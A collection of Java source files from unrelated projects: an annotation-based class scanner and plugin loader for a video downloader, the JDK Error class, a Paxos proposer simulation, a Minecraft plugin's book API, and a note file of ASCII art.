PackageScanLoader pLoader = new PackageScanLoader() {
@Override
public boolean isValid(Class<?> klass) {
Acfun acfun = klass.getAnnotation(Acfun.class);
if (null != acfun) {
if ("parser".equals(acfun.type())) {
validParserClasses.add(klass);
} else if ("downloader".equals(acfun.type())) {
validDownloaderClasses.add(klass);
}
}
return false;
}
};
pLoader.scanRoot("nicelee.acfun");
}
/**
* 编译并加载指定类
* @param parserPlg
* @param ccloader
* @param clazzName
*/
private static void compileAndLoad(Plugin parserPlg, CustomClassLoader ccloader, String clazzName) {
// 编译类
if(parserPlg.isToCompile(clazzName)) {
parserPlg.compile(clazzName);
}
try {
// 加载类
System.out.printf("尝试加载自定义类: %s\r\n", clazzName);
Class<?> klass = parserPlg.loadClass(ccloader, clazzName);
Acfun bili = klass.getAnnotation(Acfun.class);
if (null != bili) {
if("parser".equals(bili.type())){
validParserClasses.add(klass);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* Class 类型是否符合预期,如果是,则加入列表
*
* @param klass
* @return
*/
public abstract boolean isValid(Class<?> klass);
public List<Class<?>> scanRoot(String packNameWithDot) {
validClazzList = new ArrayList<Class<?>>();
classLoader = Thread.currentThread().getContextClassLoader();
String packNameWithFileSep = packNameWithDot.replace("\\", "/").replace(".", "/");
packNameWithDot = packNameWithDot.replace("/", ".");
try {
Enumeration<URL> url = classLoader.getResources(packNameWithFileSep);
while (url.hasMoreElements()) {
URL currentUrl = url.nextElement();
String type = currentUrl.getProtocol();
if (type.equals("jar")) { // jar 包
dealWithJar(currentUrl, packNameWithFileSep);
} else if (type.equals("file")) { // file
File file = new File(currentUrl.toURI());
if (file.isDirectory()) { // 目录
dealWithFolder(packNameWithDot, file);
} else if (file.getName().endsWith(".class")) {
deaWithJavaClazzFile(packNameWithDot, file);
}
}
}
} catch (IOException e) {
e.printStackTrace();
} catch (URISyntaxException e) {
e.printStackTrace();
}
return validClazzList;
}
// 处理目录文件
private void dealWithFolder(String packNameWithDot, File file) {
if (file.exists()) {
// file一定是目录型文件所以得到该目录下所有文件遍历它们
File[] files = file.listFiles();
for (File childfile : files) {
// 如果子文件是目录,则递归处理,调用本方法递归。
if (childfile.isDirectory()) {
// 注意递归时候包名字要加上".文件名"后为新的包名
// 因为后面反射时需要类名,也就是com.mec.***
dealWithFolder(packNameWithDot + "." + childfile.getName(), childfile);
} else {
// 如果该文件不是目录。
String name = childfile.getName();
// 该文件是class类型
if (name.contains(".class")) {
deaWithJavaClazzFile(packNameWithDot, childfile);
} else {
continue;
}
}
}
} else {
return;
}
}
private void deaWithJavaClazzFile(String packNameWithDot, File file) {
int index = file.getName().lastIndexOf(".class");
String filename = file.getName().substring(0, index);
Class<?> klass = null;
try {
klass = Class.forName(packNameWithDot + "." + filename);
if (isValid(klass)) {
validClazzList.add(klass);
}
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
// 处理jar包类型
private void dealWithJar(URL url, String packNameWithFileSep) {
JarURLConnection jarURLConnection;
try {
jarURLConnection = (JarURLConnection) url.openConnection();
JarFile jarFile = jarURLConnection.getJarFile();
Enumeration<JarEntry> jarEntries = jarFile.entries();
while (jarEntries.hasMoreElements()) {
JarEntry jar = jarEntries.nextElement();
if (jar.isDirectory() || !jar.getName().endsWith(".class")
|| !jar.getName().startsWith(packNameWithFileSep)) {
continue;
}
// 处理class类型
String jarName = jar.getName();
int dotIndex = jarName.indexOf(".class");
String className = jarName.substring(0, dotIndex).replace("/", ".");
Class<?> klass = Class.forName(className);
if (isValid(klass)) {
validClazzList.add(klass);
}
}
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
| nICEnnnnnnnLee/AcFunDown | src/nicelee/acfun/PackageScanLoader.java |
65,382 | /*
* Copyright (c) 1995, 2011, Oracle and/or its affiliates. All rights reserved.
* ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*/
package java.lang;
/**
* An {@code Error} is a subclass of {@code Throwable}
* that indicates serious problems that a reasonable application
* should not try to catch. Most such errors are abnormal conditions.
* The {@code ThreadDeath} error, though a "normal" condition,
* is also a subclass of {@code Error} because most applications
* should not try to catch it.
* <p>
* A method is not required to declare in its {@code throws}
* clause any subclasses of {@code Error} that might be thrown
* during the execution of the method but not caught, since these
* errors are abnormal conditions that should never occur.
*
* That is, {@code Error} and its subclasses are regarded as unchecked
* exceptions for the purposes of compile-time checking of exceptions.
*
* @author Frank Yellin
* @see java.lang.ThreadDeath
* @jls 11.2 Compile-Time Checking of Exceptions
* @since JDK1.0
*/
/**
* Error(错误):
* ###是程序无法处理的错误###,表示运行应用程序中较严重问题。
* 大多数错误与代码编写者执行的操作无关,而表示代码运行时 JVM(Java 虚拟机)出现的问题。
* 例如,Java虚拟机运行错误(Virtual MachineError),当 JVM 不再有继续执行操作所需的内存资源时,将出现 OutOfMemoryError。
* 这些异常发生时,Java虚拟机(JVM)一般会选择线程终止。
*/
public class Error extends Throwable {
static final long serialVersionUID = 4980196508277280342L;
/**
* Constructs a new error with {@code null} as its detail message.
* The cause is not initialized, and may subsequently be initialized by a
* call to {@link #initCause}.
*/
public Error() {
super();
}
/**
* Constructs a new error with the specified detail message. The
* cause is not initialized, and may subsequently be initialized by
* a call to {@link #initCause}.
*
* @param message the detail message. The detail message is saved for
* later retrieval by the {@link #getMessage()} method.
*/
public Error(String message) {
super(message);
}
/**
* Constructs a new error with the specified detail message and
* cause. <p>Note that the detail message associated with
* {@code cause} is <i>not</i> automatically incorporated in
* this error's detail message.
*
* @param message the detail message (which is saved for later retrieval
* by the {@link #getMessage()} method).
* @param cause the cause (which is saved for later retrieval by the
* {@link #getCause()} method). (A {@code null} value is
* permitted, and indicates that the cause is nonexistent or
* unknown.)
* @since 1.4
*/
public Error(String message, Throwable cause) {
super(message, cause);
}
/**
* Constructs a new error with the specified cause and a detail
* message of {@code (cause==null ? null : cause.toString())} (which
* typically contains the class and detail message of {@code cause}).
* This constructor is useful for errors that are little more than
* wrappers for other throwables.
*
* @param cause the cause (which is saved for later retrieval by the
* {@link #getCause()} method). (A {@code null} value is
* permitted, and indicates that the cause is nonexistent or
* unknown.)
* @since 1.4
*/
public Error(Throwable cause) {
super(cause);
}
/**
* Constructs a new error with the specified detail message,
* cause, suppression enabled or disabled, and writable stack
* trace enabled or disabled.
*
* @param message the detail message.
* @param cause the cause. (A {@code null} value is permitted,
* and indicates that the cause is nonexistent or unknown.)
* @param enableSuppression whether or not suppression is enabled
* or disabled
* @param writableStackTrace whether or not the stack trace should
* be writable
*
* @since 1.7
*/
protected Error(String message, Throwable cause,
boolean enableSuppression,
boolean writableStackTrace) {
super(message, cause, enableSuppression, writableStackTrace);
}
}
| kvenLin/JDK-Source | jdk1.8/src/java/lang/Error.java |
65,384 | package com.zhangq.paxos.doer;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import com.zhangq.paxos.bean.AcceptorStatus;
import com.zhangq.paxos.bean.CommitResult;
import com.zhangq.paxos.bean.PrepareResult;
import com.zhangq.paxos.bean.Proposal;
import com.zhangq.paxos.main.Main;
import com.zhangq.paxos.util.PaxosUtil;
import com.zhangq.paxos.util.PerformanceRecord;
/**
* 提议者
* @author linjx
*
*/
public class Proposer implements Runnable{
// 序列号
int myID = 0;
// 提议者的名字
private String name;
// 提议者的提案
private Proposal proposal;
// 是否已经有提案获得大多数决策者确认
private boolean voted;
// 大多数决策者的最小个数
private int halfCount;
private int proposerCount;
private int numCycle = 0;
// 决策者们
private List<Acceptor> acceptors;
public Proposer(int myID, String name, int proposerCount, List<Acceptor> acceptors){
this.myID = myID;
this.name = name;
this.acceptors = acceptors;
this.proposerCount = proposerCount;
numCycle = 0;
voted = false;
halfCount = acceptors.size() / 2 + 1;
this.proposal = new Proposal(PaxosUtil.generateId(myID, numCycle, proposerCount),
myID+ "#Proposal", myID + "最帅!");
numCycle++;
}
// 准备提案过程,获得大多数决策者支持后进入确认提案阶段。
public synchronized boolean prepare(){
PrepareResult prepareResult = null;
boolean isContinue = true;
// 已获得承诺个数
int promisedCount = 0;
do{
List<Proposal> promisedProposals = new ArrayList<Proposal>();
List<Proposal> acceptedProposals = new ArrayList<Proposal>();
promisedCount = 0;
for (Acceptor acceptor : acceptors){
prepareResult = acceptor.onPrepare(proposal);
// 随机休眠一段时间,模拟网络延迟。
PaxosUtil.sleepRandom();
// 模拟网络异常
if (null==prepareResult){
continue;
}
// 获得承诺
if (prepareResult.isPromised()){
promisedCount ++;
}else{
// 决策者已经给了更高id题案的承诺
if (prepareResult.getAcceptorStatus()==AcceptorStatus.PROMISED){
promisedProposals.add(prepareResult.getProposal());
}
// 决策者已经通过了一个题案
if (prepareResult.getAcceptorStatus()==AcceptorStatus.ACCEPTED){
acceptedProposals.add(prepareResult.getProposal());
}
}
}// end of for
// 获得多数决策者的承诺
// 可以进行第二阶段:题案提交
if (promisedCount >= halfCount){
break;
}
Proposal votedProposal = votedEnd(acceptedProposals);
// 决策者已经半数通过题案
if (votedProposal !=null){
System.out.println(myID + " : 决策已经投票结束:" + votedProposal);
return true;
}
Proposal maxIdAcceptedProposal = getMaxIdProposal(acceptedProposals);
// 在已经被决策者通过题案中选择序列号最大的决策,作为自己的决策。
if (maxIdAcceptedProposal != null){
proposal.setId(PaxosUtil.generateId(myID, numCycle, proposerCount));
proposal.setValue(maxIdAcceptedProposal.getValue());
}else{
proposal.setId(PaxosUtil.generateId(myID, numCycle, proposerCount));
}
numCycle ++;
}while(isContinue);
return false;
}
// 获得大多数决策者承诺后,开始进行提案确认
public synchronized boolean commit(){
boolean isContinue = true;
// 已获得接受该提案的决策者个数
int acceptedCount = 0;
do{
List<Proposal> acceptedProposals = new ArrayList<Proposal>();
acceptedCount = 0;
for (Acceptor acceptor : acceptors){
CommitResult commitResult = acceptor.onCommit(proposal);
// 模拟网络延迟
PaxosUtil.sleepRandom();
// 模拟网络异常
if (null==commitResult){
continue;
}
// 题案被决策者接受。
if (commitResult.isAccepted()){
acceptedCount ++;
}else{
acceptedProposals.add(commitResult.getProposal());
}
}
// 题案被半数以上决策者接受,说明题案已经被选出来。
if (acceptedCount >= halfCount){
System.out.println(myID + " : 题案已经投票选出:" + proposal);
return true;
}else{
Proposal maxIdAcceptedProposal = getMaxIdProposal(acceptedProposals);
// 在已经被决策者通过题案中选择序列号最大的决策,重新生成递增id,改变自己的value为序列号最大的value。
// 这是一种预测,预测此maxIdAccecptedProposal最有可能被超过半数的决策者接受。
if (maxIdAcceptedProposal != null){
proposal.setId(PaxosUtil.generateId(myID, numCycle, proposerCount));
proposal.setValue(maxIdAcceptedProposal.getValue());
}else{
proposal.setId(PaxosUtil.generateId(myID, numCycle, proposerCount));
}
numCycle++;
// 回退到决策准备阶段
if (prepare())
return true;
}
}while(isContinue);
return true;
}
// 获得序列号最大的提案
private Proposal getMaxIdProposal(List<Proposal> acceptedProposals){
if (acceptedProposals.size()>0){
Proposal retProposal = acceptedProposals.get(0);
for (Proposal proposal : acceptedProposals){
if (proposal.getId()>retProposal.getId())
retProposal = proposal;
}
return retProposal;
}
return null;
}
// 是否已经有某个提案,被大多数决策者接受
private Proposal votedEnd(List<Proposal> acceptedProposals){
Map<Proposal, Integer> proposalCount = countAcceptedProposalCount(acceptedProposals);
for (Entry<Proposal, Integer> entry : proposalCount.entrySet()){
if (entry.getValue()>=halfCount){
voted = true;
return entry.getKey();
}
}
return null;
}
// 计算决策者回复的每个已经被接受的提案计数
private Map<Proposal, Integer> countAcceptedProposalCount(
List<Proposal> acceptedProposals){
Map<Proposal, Integer> proposalCount = new HashMap<>();
for (Proposal proposal : acceptedProposals){
// 决策者没有回复,或者网络异常
if (null==proposal) continue;
int count = 1;
if (proposalCount.containsKey(proposal)){
count = proposalCount.get(proposal) + 1;
}
proposalCount.put(proposal, count);
}
return proposalCount;
}
@Override
public void run() {
// TODO Auto-generated method stub
Main.latch.countDown();
try {
Main.latch.await();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
PerformanceRecord.getInstance().start("Proposer" + myID, myID);
prepare();
commit();
PerformanceRecord.getInstance().end(myID);
}
}
| hellolinjx/PaxosImpl | src/com/zhangq/paxos/doer/Proposer.java |
65,392 | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package com.tosogame.third.tosogame3.api;
import java.io.IOException;
import java.nio.charset.Charset;
import java.nio.file.FileSystem;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.util.ArrayList;
import java.util.List;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.Material;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.BookMeta;
/**
*
* @author peko
*/
public class BookAPI {
/**
* 「逃走中」というタイトルの本に対してページを追加できます。<br>
* 汎用性をあげるために、権限による分別はしていません。(この本を持っている人のみが対象。逃走者以外でも可)
*
* @param msg ミッション告知用の本「逃走中」に追加するページ内容
*/
public void writeBook(String msg) {
for (Player player : Bukkit.getServer().getOnlinePlayers()) {
for (ItemStack item : player.getInventory().getContents()) {
if (item != null) {
if (item.getType().equals(Material.WRITTEN_BOOK)) {
BookMeta meta = (BookMeta) item.getItemMeta();
if (meta.getTitle().equals("逃走中")) {
meta.addPage(msg);
item.setItemMeta(meta);
}
}
}
}
}
}
/**
* ミッション告知用の本の内容をすべて削除します。
*/
public void clearBook() {
for (Player player : Bukkit.getServer().getOnlinePlayers()) {
for (ItemStack item : player.getInventory().getContents()) {
if (item == null) {
return;
}
if (item.getType().equals(Material.WRITTEN_BOOK)) {
BookMeta meta = (BookMeta) item.getItemMeta();
if (meta.getTitle().equals("逃走中")) {
List<String> list = new ArrayList<String>();
meta.setPages(list);
item.setItemMeta(meta);
}
}
}
}
}
/**
* テキストファイルから本用に最適化された文章を得ることが出来ます。<br>
* ファイル中で使用できるタグに関しては、外部ファイルなどを参考にしてください。
*
* @param filename TosoGame2/book/ の中に存在するテキストファイル名を指定してください。
* @return 指定したファイルの中身が空、もしくはファイルがない場合にnullを返します。
*/
public String getMsg(String filename) {
FileSystem fs = FileSystems.getDefault();
Path path = fs.getPath("plugins/TosoGame3/book/" + filename + ".txt");
if (Files.exists(path, LinkOption.NOFOLLOW_LINKS)) {
try {
List<String> list = Files.readAllLines(path, Charset.forName(System.getProperty("file.encoding")));
String msg = replaceAll(list);
return msg;
} catch (IOException e) {
// TODO 自動生成された catch ブロック
e.printStackTrace();
}
}
return null;
}
private String replaceAll(List<String> list) {
StringBuilder builder = new StringBuilder();
for (String s : list) {
StringBuilder sb = new StringBuilder(s);
replace(sb, "<b>", "" + ChatColor.BOLD + "");
replace(sb, "<i>", "" + ChatColor.ITALIC + "");
replace(sb, "<magic>", "" + ChatColor.MAGIC + "");
replace(sb, "<s>", "" + ChatColor.STRIKETHROUGH + "");
replace(sb, "<u>", "" + ChatColor.UNDERLINE + "");
replace(sb, "<aqua>", "" + ChatColor.RESET + "");
replace(sb, "<black>", "" + ChatColor.BLACK + "");
replace(sb, "<blue>", "" + ChatColor.BLUE + "");
replace(sb, "<dark_aqua>", "" + ChatColor.DARK_AQUA + "");
replace(sb, "<dark_blue>", "" + ChatColor.DARK_BLUE + "");
replace(sb, "<dark_gray>", "" + ChatColor.DARK_GRAY + "");
replace(sb, "<dark_purple>", "" + ChatColor.DARK_PURPLE + "");
replace(sb, "<dark_red>", "" + ChatColor.DARK_RED + "");
replace(sb, "<gold>", "" + ChatColor.GOLD + "");
replace(sb, "<gray>", "" + ChatColor.GRAY + "");
replace(sb, "<green>", "" + ChatColor.GREEN + "");
replace(sb, "<light_purple>", "" + ChatColor.LIGHT_PURPLE + "");
replace(sb, "<red>", "" + ChatColor.RED + "");
replace(sb, "<white>", "" + ChatColor.WHITE + "");
replace(sb, "<yellow>", "" + ChatColor.YELLOW + "");
sb.append("\n");
builder.append(new String(sb));
}
String msg = new String(builder);
return msg;
}
private void replace(StringBuilder sb, String from, String to) {
int index = sb.indexOf(from);
while (index != -1) {
sb.replace(index, index + from.length(), to);
index += to.length();
index = sb.indexOf(from, index);
}
}
}
| yk-hongu/TosoGame3 | src/main/java/com/tosogame/third/tosogame3/api/BookAPI.java |
65,393 | package com.vondear.rxtools;
/**
* Created by vonde on 2017/1/13
*/
public class RxNote {
//暂无实际作用
//图片转字符可以上这个 传送门
/**
* 瓦瓦 十
* 十齱龠己 亅瓦車己
* 乙龍龠毋日丶 丶乙己毋毋丶
* 十龠馬鬼車瓦 己十瓦毋毋
* 鬼馬龠馬龠十 己己毋車毋瓦
* 毋龠龠龍龠鬼乙丶丶乙車乙毋鬼車己
* 乙龠龍龍鬼龍瓦 十瓦毋乙瓦龠瓦亅
* 馬齱龍馬鬼十丶日己己己毋車乙丶
* 己齱馬鬼車十十毋日乙己己乙乙
* 車馬齱齱日乙毋瓦己乙瓦日亅
* 亅車齺龖瓦乙車龖龍乙乙十
* 日龠龠十亅車龍毋十十
* 日毋己亅 己己十亅亅
* 丶己十十乙 丶丶丶丶丶
* 亅己十龍龖瓦 丶 丶 乙十
* 亅己十龠龖毋 丶丶 丶己鬼鬼瓦亅
* 十日十十日亅丶亅丶 丶十日毋鬼馬馬車乙
* 十日乙十亅亅亅丶 十乙己毋鬼鬼鬼龍齺馬乙
* 丶瓦己乙十十亅丶亅乙乙乙己毋鬼鬼鬼龍齱齺齺鬼十
* 乙乙十十十亅乙瓦瓦己日瓦毋鬼鬼龠齱齱龍龍齱齱毋丶
* 亅十十十十乙瓦車毋瓦瓦日車馬龠龍龍龍龍龍龠龠龠馬亅
* 十十十十己毋車瓦瓦瓦瓦鬼馬龠龍龠龠龍龠龠龠馬龠車
* 亅十十日毋瓦日日瓦鬼鬼鬼龠龠馬馬龠龍龍龠馬馬車
* 亅亅亅乙瓦瓦毋車車車馬龍龠鬼鬼馬龠龍龍龠馬馬鬼
* 丶丶乙亅亅乙車鬼鬼鬼毋車龍龍龠鬼馬馬龠龍齱齱龍馬鬼
* 亅己十十己十日鬼鬼車瓦毋龠龍龠馬馬龠龠龠齱齺齺齱龠鬼
* 亅乙乙乙十車馬車毋馬齱齱龍龠龠龠馬龠龍齱龍龠龠鬼瓦
* 丶毋龠鬼車瓦車馬龠龍龠龠龍齱齱龠馬馬鬼毋日
* 十乙己日十 丶己鬼龍齱齺齱龍馬馬馬車毋己
* 丶十己乙亅丶 亅瓦馬龠龍龠龠馬毋瓦乙
* 丶十十乙亅十 亅己瓦車馬龠鬼車瓦乙
* 丶十乙十十丶 丶丶亅十瓦鬼車瓦己
* 丶亅亅丶 亅日瓦日
* 丶
*/
/**
* .,:,,, .::,,,::.
* .::::,,;;, .,;;:,,....:i:
* :i,.::::,;i:. ....,,:::::::::,.... .;i:,. ......;i.
* :;..:::;::::i;,,:::;:,,,,,,,,,,..,.,,:::iri:. .,:irsr:,.;i.
* ;;..,::::;;;;ri,,,. ..,,:;s1s1ssrr;,.;r,
* :;. ,::;ii;:, . ................... .;iirri;;;,,;i,
* ,i. .;ri:. ... ............................ .,,:;:,,,;i:
* :s,.;r:... ....................................... .::;::s;
* ,1r::. .............,,,.,,:,,........................,;iir;
* ,s;........... ..::.,;:,,. ...............,;1s
* :i,..,. .,:,,::,. .......... .......;1,
* ir,....:rrssr;:, ,,.,::. .r5S9989398G95hr;. ....,.:s,
* ;r,..,s9855513XHAG3i .,,,,,,,. ,S931,.,,.;s;s&BHHA8s.,..,..:r:
* :r;..rGGh, :SAG;;G@BS:.,,,,,,,,,.r83: hHH1sXMBHHHM3..,,,,.ir.
* ,si,.1GS, sBMAAX&MBMB5,,,,,,:,,.:&8 3@HXHBMBHBBH#X,.,,,,,,rr
* ;1:,,SH: .A@&&B#&8H#BS,,,,,,,,,.,5XS, 3@MHABM&59M#As..,,,,:,is,
* .rr,,,;9&1 hBHHBB&8AMGr,,,,,,,,,,,:h&&9s; r9&BMHBHMB9: . .,,,,;ri.
* :1:....:5&XSi;r8BMBHHA9r:,......,,,,:ii19GG88899XHHH&GSr. ...,:rs.
* ;s. .:sS8G8GG889hi. ....,,:;:,.:irssrriii:,. ...,,i1,
* ;1, ..,....,,isssi;, .,,. ....,.i1,
* ;h: i9HHBMBBHAX9: . ...,,,rs,
* ,1i.. :A#MBBBBMHB##s ....,,,;si.
* .r1,.. ,..;3BMBBBHBB#Bh. .. ....,,,,,i1;
* :h;.. .,..;,1XBMMMMBXs,.,, .. :: ,. ....,,,,,,ss.
* ih: .. .;;;, ;;:s58A3i,.. ,. ,.:,,. ...,,,,,:,s1,
* .s1,.... .,;sh, ,iSAXs;. ,. ,,.i85 ...,,,,,,:i1;
* .rh: ... rXG9XBBM#M#MHAX3hss13&&HHXr .....,,,,,,,ih;
* .s5: ..... i598X&&A&AAAAAA&XG851r: ........,,,,:,,sh;
* . ihr, ... . .. ........,,,,,;11:.
* ,s1i. ... ..,,,..,,,.,,.,,.,.. ........,,.,,.;s5i.
* .:s1r,...................... ..............;shs,
* . .:shr:. .... ..............,ishs.
* .,issr;,... ...........................,is1s;.
* .,is1si;:,....................,:;ir1sr;,
* ..:isssssrrii;::::::;;iirsssssr;:..
* .,::iiirsssssssssrri;;:.
*/
/**
* ii. ;9ABH,
* SA391, .r9GG35&G
* &#ii13Gh; i3X31i;:,rB1
* iMs,:,i5895, .5G91:,:;:s1:8A
* 33::::,,;5G5, ,58Si,,:::,sHX;iH1
* Sr.,:;rs13BBX35hh11511h5Shhh5S3GAXS:.,,::,,1AG3i,GG
* .G51S511sr;;iiiishS8G89Shsrrsh59S;.,,,,,..5A85Si,h8
* :SB9s:,............................,,,.,,,SASh53h,1G.
* .r18S;..,,,,,,,,,,,,,,,,,,,,,,,,,,,,,....,,.1H315199,rX,
* ;S89s,..,,,,,,,,,,,,,,,,,,,,,,,....,,.......,,,;r1ShS8,;Xi
* i55s:.........,,,,,,,,,,,,,,,,.,,,......,.....,,....r9&5.:X1
* 59;.....,. .,,,,,,,,,,,... .............,..:1;.:&s
* s8,..;53S5S3s. .,,,,,,,.,.. i15S5h1:.........,,,..,,:99
* 93.:39s:rSGB@A; ..,,,,..... .SG3hhh9G&BGi..,,,,,,,,,,,,.,83
* G5.G8 9#@@@@@X. .,,,,,,..... iA9,.S&B###@@Mr...,,,,,,,,..,.;Xh
* Gs.X8 S@@@@@@@B:..,,,,,,,,,,. rA1 ,A@@@@@@@@@H:........,,,,,,.iX:
* ;9. ,8A#@@@@@@#5,.,,,,,,,,,... 9A. 8@@@@@@@@@@M; ....,,,,,,,,S8
* X3 iS8XAHH8s.,,,,,,,,,,...,..58hH@@@@@@@@@Hs ...,,,,,,,:Gs
* r8, ,,,...,,,,,,,,,,..... ,h8XABMMHX3r. .,,,,,,,.rX:
* :9, . .:,..,:;;;::,.,,,,,.. .,,. ..,,,,,,.59
* .Si ,:.i8HBMMMMMB&5,.... . .,,,,,.sMr
* SS :: h@@@@@@@@@@#; . ... . ..,,,,iM5
* 91 . ;:.,1&@@@@@@MXs. . .,,:,:&S
* hS .... .:;,,,i3MMS1;..,..... . . ... ..,:,.99
* ,8; ..... .,:,..,8Ms:;,,,... .,::.83
* s&: .... .sS553B@@HX3s;,. .,;13h. .:::&1
* SXr . ...;s3G99XA&X88Shss11155hi. ,;:h&,
* iH8: . .. ,;iiii;,::,,,,,. .;irHA
* ,8X5; . ....... ,;iihS8Gi
* 1831, .,;irrrrrs&@
* ;5A8r. .:;iiiiirrss1H
* :X@H3s....... .,:;iii;iiiiirsrh
* r#h:;,...,,.. .,,:;;;;;:::,... .:;;;;;;iiiirrss1
* ,M8 ..,....,.....,,::::::,,... . .,;;;iiiiiirss11h
* 8B;.,,,,,,,.,..... . .. .:;;;;iirrsss111h
* i@5,:::,,,,,,,,.... . . .:::;;;;;irrrss111111
* 9Bi,:,,,,...... ..r91;;;;;iirrsss1ss1111
*/
/**
* .,, .,:;;iiiiiiiii;;:,,. .,,
* rGB##HS,.;iirrrrriiiiiiiiiirrrrri;,s&##MAS,
* r5s;:r3AH5iiiii;;;;;;;;;;;;;;;;iiirXHGSsiih1,
* .;i;;s91;;;;;;::::::::::::;;;;iS5;;;ii:
* :rsriii;;r::::::::::::::::::::::;;,;;iiirsi,
* .,iri;;::::;;;;;;::,,,,,,,,,,,,,..,,;;;;;;;;iiri,,.
* ,9BM&, .,:;;:,,,,,,,,,,,hXA8: ..,,,.
* ,;&@@#r:;;;;;::::,,. ,r,,,,,,,,,,iA@@@s,,:::;;;::,,. .;.
* :ih1iii;;;;;::::;;;;;;;:,,,,,,,,,,;i55r;;;;;;;;;iiirrrr,..
* .ir;;iiiiiiiiii;;;;::::::,,,,,,,:::::,,:;;;iiiiiiiiiiiiri
* iriiiiiiiiiiiiiiii;;;::::::::::::::::;;;iiiiiiiiiiiiiiiir;
* ,riii;;;;;;;;;;;;;:::::::::::::::::::::::;;;;;;;;;;;;;;iiir.
* iri;;;::::,,,,,,,,,,:::::::::::::::::::::::::,::,,::::;;iir:
* .rii;;::::,,,,,,,,,,,,:::::::::::::::::,,,,,,,,,,,,,::::;;iri
* ,rii;;;::,,,,,,,,,,,,,:::::::::::,:::::,,,,,,,,,,,,,:::;;;iir.
* ,rii;;i::,,,,,,,,,,,,,:::::::::::::::::,,,,,,,,,,,,,,::i;;iir.
* ,rii;;r::,,,,,,,,,,,,,:,:::::,:,:::::::,,,,,,,,,,,,,::;r;;iir.
* .rii;;rr,:,,,,,,,,,,,,,,:::::::::::::::,,,,,,,,,,,,,:,si;;iri
* ;rii;:1i,,,,,,,,,,,,,,,,,,:::::::::,,,,,,,,,,,,,,,:,ss:;iir:
* .rii;;;5r,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,sh:;;iri
* ;rii;:;51,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.:hh:;;iir,
* irii;::hSr,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,sSs:;;iir:
* irii;;:iSSs:.,,,,,,,,,,,,,,,,,,,,,,,,,,,..:135;:;;iir:
* ;rii;;:,r535r:...,,,,,,,,,,,,,,,,,,..,;sS35i,;;iirr:
* :rrii;;:,;1S3Shs;:,............,:is533Ss:,;;;iiri,
* .;rrii;;;:,;rhS393S55hh11hh5S3393Shr:,:;;;iirr:
* .;rriii;;;::,:;is1h555555h1si;:,::;;;iirri:.
* .:irrrii;;;;;:::,,,,,,,,:::;;;;iiirrr;,
* .:irrrriiiiii;;;;;;;;iiiiiirrrr;,.
* .,:;iirrrrrrrrrrrrrrrrri;:.
* ..,:::;;;;:::,,.
*/
/**
* ┌───┐ ┌───┬───┬───┬───┐ ┌───┬───┬───┬───┐ ┌───┬───┬───┬───┐ ┌───┬───┬───┐
* │Esc│ │ F1│ F2│ F3│ F4│ │ F5│ F6│ F7│ F8│ │ F9│F10│F11│F12│ │P/S│S L│P/B│ ┌┐ ┌┐ ┌┐
* └───┘ └───┴───┴───┴───┘ └───┴───┴───┴───┘ └───┴───┴───┴───┘ └───┴───┴───┘ └┘ └┘ └┘
* ┌───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───┬───────┐ ┌───┬───┬───┐ ┌───┬───┬───┬───┐
* │~ `│! 1│@ 2│# 3│$ 4│% 5│^ 6│& 7│* 8│( 9│) 0│_ -│+ =│ BacSp │ │Ins│Hom│PUp│ │N L│ / │ * │ - │
* ├───┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─────┤ ├───┼───┼───┤ ├───┼───┼───┼───┤
* │ Tab │ Q │ W │ E │ R │ T │ Y │ U │ I │ O │ P │{ [│} ]│ | \ │ │Del│End│PDn│ │ 7 │ 8 │ 9 │ │
* ├─────┴┬──┴┬──┴┬──┴┬──┴┬──┴┬──┴┬──┴┬──┴┬──┴┬──┴┬──┴┬──┴─────┤ └───┴───┴───┘ ├───┼───┼───┤ + │
* │ Caps │ A │ S │ D │ F │ G │ H │ J │ K │ L │: ;│" '│ Enter │ │ 4 │ 5 │ 6 │ │
* ├──────┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴─┬─┴────────┤ ┌───┐ ├───┼───┼───┼───┤
* │ Shift │ Z │ X │ C │ V │ B │ N │ M │< ,│> .│? /│ Shift │ │ ↑ │ │ 1 │ 2 │ 3 │ │
* ├─────┬──┴─┬─┴──┬┴───┴───┴───┴───┴───┴──┬┴───┼───┴┬────┬────┤ ┌───┼───┼───┐ ├───┴───┼───┤ E││
* │ Ctrl│ │Alt │ Space │ Alt│ │ │Ctrl│ │ ← │ ↓ │ → │ │ 0 │ . │←─┘│
* └─────┴────┴────┴───────────────────────┴────┴────┴────┴────┘ └───┴───┴───┘ └───────┴───┴───┘
*/
/**
* _ooOoo_
* o8888888o
* 88" . "88
* (| -_- |)
* O\ = /O
* ____/`---'\____
* . ' \\| |// `.
* / \\||| : |||// \
* / _||||| -:- |||||- \
* | | \\\ - /// | |
* | \_| ''\---/'' | |
* \ .-\__ `-` ___/-. /
* ___`. .' /--.--\ `. . __
* ."" '< `.___\_<|>_/___.' >'"".
* | | : `- \`.;`\ _ /`;.`/ - ` : | |
* \ \ `-. \_ __\ /__ _/ .-` / /
* ======`-.____`-.___\_____/___.-`____.-'======
* `=---='
*
* .............................................
* 佛祖保佑 永无BUG
*/
/**
* 佛曰:
* 写字楼里写字间,写字间里程序员;
* 程序人员写程序,又拿程序换酒钱。
